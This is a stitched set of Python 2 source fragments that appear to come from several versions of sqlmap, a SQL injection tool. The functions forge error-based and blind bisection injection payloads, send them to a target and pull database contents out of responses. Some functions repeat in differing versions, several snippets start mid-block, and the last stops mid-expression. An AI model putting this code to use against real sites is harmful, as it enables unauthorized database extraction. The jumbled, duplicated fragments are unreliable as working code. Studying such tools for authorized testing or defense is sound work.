def errorUse(expression, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error SQL injection vulnerability on the affected parameter. """ output = None logic = conf.logic randInt = randomInt(1) query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query) query = agent.suffixQuery(query) startLimiter = "" endLimiter = "" expressionUnescaped = expression if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) if kb.dbms == DBMS.MYSQL: nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row' expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR) endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR) else: expressionUnescaped = kb.misc.handler.unescape(expression) startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR) endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR) forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter)) debugMsg = "query: %s" % forgedQuery logger.debug(debugMsg) payload = agent.payload(newValue=forgedQuery) result = Request.queryPage(payload, content=True) match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE) if match: output = match.group('result') if output: output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "") if conf.verbose > 0: infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True) logger.info(infoMsg) if returnPayload: return output, payload else: return output
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) if resumeValue: output = resume(expressionReplaced, None) if not output or (expected == EXPECTED.INT and not output.isdigit()): if output: warnMsg = "expected value type %s, resumed '%s', " % (expected, output) warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) output = __oneShotErrorUse(expressionReplaced, field) if output is not None: dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True))) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs
def resume(expression, payload): """ This function can be called to resume part or entire output of a SQL injection query output. """ try: if "sqlmapfile" in expression or "sqlmapoutput" in expression: return None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if not condition: return None resumedValue = kb.resumedQueries[conf.url][expression] if not resumedValue: return None resumedValue = restoreDumpMarkedChars(resumedValue, True) if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall("%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), resumedValue, re.S) if logValue: logValue = ", ".join([value.replace(DUMP_DEL_MARKER, ", ") for value in logValue]) else: logValue = resumedValue if "\n" in logValue: infoMsg += "%s..." % logValue.split("\n")[0] else: infoMsg += logValue logger.info(infoMsg) return resumedValue # If we called this function without providing a payload it means that # we have called it from lib/request/inject __goInband() function # in UNION query (inband) SQL injection so we return to the calling # function so that the query output will be retrieved taking advantage # of the inband SQL injection vulnerability. if not payload: return None if not kb.dbms: return None substringQuery = queries[kb.dbms].substring.query select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) if not length: return None if len(resumedValue) == int(length): infoMsg = "read from file '%s': " % conf.sessionFile infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile( "[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)) ) return resumedValue elif len(resumedValue) < int(length): infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile( "[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)) ) if select: newExpr = expression.replace( regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1 ) else: newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length))) missingCharsLength = int(length) - len(resumedValue) infoMsg = "retrieving pending %d query " % missingCharsLength infoMsg += "output characters" logger.info(infoMsg) start = time.time() count, finalValue = bisection(payload, newExpr, length=missingCharsLength) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if len(finalValue) != (int(length) - len(resumedValue)): warnMsg = "the total length of the query is not " warnMsg += "right, sqlmap is going to retrieve the " warnMsg += "query value from the beginning now" logger.warn(warnMsg) return None return "%s%s" % (resumedValue, finalValue) return None except ValueError: errMsg = "invalid resume value for expression: '%s'" % expression logger.error(errMsg) return None
if None in value: for v in value: if isinstance(v, str) and v != None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), finalValue) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue) if isinstance(finalValue, str) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) else: index = 0 while True: index += 1 charStart = time.time() val = getChar(index) if val == None: break
def resume(expression, payload): """ This function can be called to resume part or entire output of a SQL injection query output. """ try: if "sqlmapfile" in expression or "sqlmapoutput" in expression or conf.freshQueries: return None condition = (kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys()) if not condition: return None resumedValue = kb.resumedQueries[conf.url][expression] if not resumedValue: return None resumedValue = restoreDumpMarkedChars(resumedValue, True) if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall( "%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), resumedValue, re.S) if logValue: if kb.technique == PAYLOAD.TECHNIQUE.UNION: logValue = ", ".join([ value.replace(DUMP_DEL_MARKER, ", ") for value in logValue ]) else: return None else: logValue = resumedValue if "\n" in logValue: infoMsg += "%s..." % logValue.split("\n")[0] else: infoMsg += logValue dataToStdout("[%s] [INFO] %s\n" % (time.strftime("%X"), infoMsg)) return resumedValue # If we called this function without providing a payload it means # that we have called it from lib/request/inject __goInband() or # from __goError() function so we return to the calling function # so that the query output will be retrieved taking advantage # of either error-based or inband SQL injection vulnerability. if not payload: return None if not Backend.getIdentifiedDbms(): return None substringQuery = queries[Backend.getIdentifiedDbms()].substring.query select = re.search("\ASELECT ", expression, re.I) _, length, regExpr = queryOutputLength(expression, payload) if not length: return None if len(resumedValue) == int(length): infoMsg = "read from file '%s': " % conf.sessionFile infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) return resumedValue elif len(resumedValue) < int(length): infoMsg = "resumed from file '%s': " % conf.sessionFile infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) if select: newExpr = expression.replace( regExpr, safeStringFormat( substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1) else: newExpr = safeStringFormat( substringQuery, (expression, len(resumedValue) + 1, int(length))) missingCharsLength = int(length) - len(resumedValue) infoMsg = "retrieving pending %d query " % missingCharsLength infoMsg += "output characters" logger.info(infoMsg) start = time.time() count, finalValue = bisection(payload, newExpr, length=missingCharsLength) debugMsg = "performed %d queries in %d seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if len(finalValue) != (int(length) - len(resumedValue)): warnMsg = "the total length of the query is not " warnMsg += "right, sqlmap is going to retrieve the " warnMsg += "query value from the beginning now" logger.warn(warnMsg) return None return "%s%s" % (resumedValue, finalValue) return None except ValueError: errMsg = "invalid resume value for expression: '%s'" % expression logger.error(errMsg) return None
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = ( lastChar - firstChar ) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of --threads switch for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules hintlock = threading.Lock() def tryHint(idx): hintlock.acquire() hintValue = kb.hintValue hintlock.release() if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return hintValue[idx-1] hintlock.acquire() kb.hintValue = None hintlock.release() return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) return not result def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result originalTbl = list(charTbl) if continuousOrder: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape(markingValue % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): errMsg = "invalid character detected. retrying.." logger.error(errMsg) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec conf.timeSec += 1 if (conf.timeSec - kb.originalTimeDelay) <= MAX_TIME_REVALIDATION_STEPS: warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') warnMsg += "(due to invalid char)" logger.warn(warnMsg) if kb.adjustTimeDelay: dbgMsg = "turning off auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = False return getChar(idx, originalTbl, continuousOrder, expand) else: errMsg = "unable to properly validate character value. using last known value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [] threadData = getCurrentThreadData() threadData.shared.value = [ None ] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping lockNames = ('iolock', 'idxlock', 'valuelock') for lock in lockNames: kb.locks[lock] = threading.Lock() try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.idxlock.acquire() if threadData.shared.index[0] >= length: kb.locks.idxlock.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break kb.locks.valuelock.acquire() threadData.shared.value[curidx-1] = val currentValue = list(threadData.shared.value) kb.locks.valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) kb.locks.iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) kb.locks.iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in threadData.shared.value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: raise finally: value = threadData.shared.value infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: for v in value: if isinstance(v, basestring) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if isinstance(finalValue, basestring) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(finalValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(finalValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) # Did we have luck? if result: dataToSessionFile(replaceNewlineTabs(commonValue[index-1:])) if showEta: etaProgressUpdate(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2): dataToStdout(commonValue[index-1:]) finalValue = commonValue break # If there is a common pattern starting with finalValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) # Did we have luck? if result: val = commonPattern[index-1:] index += len(val)-1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): break if kb.data.processChar: val = kb.data.processChar(val) finalValue += val dataToSessionFile(replaceNewlineTabs(val)) if showEta: etaProgressUpdate(time.time() - charStart, index) elif conf.verbose in (1, 2): dataToStdout(val) if len(finalValue) > INFERENCE_BLANK_BREAK and finalValue[-INFERENCE_BLANK_BREAK:].isspace(): break if conf.verbose in (1, 2) or showEta: dataToStdout("\n") if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if not partialValue: dataToSessionFile("]\n") if kb.threadException: raise sqlmapThreadException, "something unexpected happened inside the threads" return queriesCount[0], safecharencode(finalValue) if kb.safeCharEncode else finalValue
def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.idxlock.acquire() if threadData.shared.index[0] >= length: kb.locks.idxlock.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break kb.locks.valuelock.acquire() threadData.shared.value[curidx-1] = val currentValue = list(threadData.shared.value) kb.locks.valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) kb.locks.iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) kb.locks.iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in threadData.shared.value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue))
# If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: for v in value: if isinstance(v, str) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue) if isinstance(finalValue, str) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose >= 1 and not showEta and infoMsg: dataToStdout(infoMsg) conf.seqLock = None else: index = firstChar while True: index += 1 charStart = time.time() val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): break
def downloadThread(): try: while conf.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if conf.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: if not kb.assumeEmpty: iolock.acquire() warnMsg = "failed to get character at index %d (expected %d total)." % (curidx, length) logger.warn(warnMsg) message = "assume empty character? [Y/n/a]" choice = readInput(message, default="Y") iolock.release() if choice in ("a", "A"): kb.assumeEmpty = True elif not choice or choice in ("y", "Y"): pass # do nothing else: raise sqlmapValueException val = '' else: break valuelock.acquire() value[curidx-1] = val currentValue = list(value) valuelock.release() if conf.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True))) iolock.release() if not conf.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print conf.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg))
# If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: for v in value: if isinstance(v, basestring) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue) if isinstance(finalValue, basestring) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) kb.locks.seqLock = None # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan")
def goError(expression, suppressOutput=False, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error-based SQL injection vulnerability on the affected parameter. """ result = None if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: return direct(expression), None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: result = resume(expression, None) if not result: result = errorUse(expression, returnPayload) if not returnPayload: dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() return result
def __oneShotErrorUse(expression, field): global reqCount threadData = getCurrentThreadData() retVal = None offset = 1 while True: check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) if Backend.getIdentifiedDbms() == DBMS.MYSQL: nulledCastedField = queries[DBMS.MYSQL].substring.query % ( nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) if isinstance(output, basestring): output = htmlunescape(output).replace("<br>", "\n") if Backend.getIdentifiedDbms() == DBMS.MYSQL: if offset == 1: retVal = output else: retVal += output if output else '' if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH): break else: offset += MYSQL_ERROR_CHUNK_LENGTH else: retVal = output break retVal = __errorReplaceChars(retVal) dataToSessionFile( "[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) return retVal
def __oneShotErrorUse(expression, field): global reqCount threadData = getCurrentThreadData() retVal = None offset = 1 while True: check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) if Backend.getIdentifiedDbms() == DBMS.MYSQL: nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ 